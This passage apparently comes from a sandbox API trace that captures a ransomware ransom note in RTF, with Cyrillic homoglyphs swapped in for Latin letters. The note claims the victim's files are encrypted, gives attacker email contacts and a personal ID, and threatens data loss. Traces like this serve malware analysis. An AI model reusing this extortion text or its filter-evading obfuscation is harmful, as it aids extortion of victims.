r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss 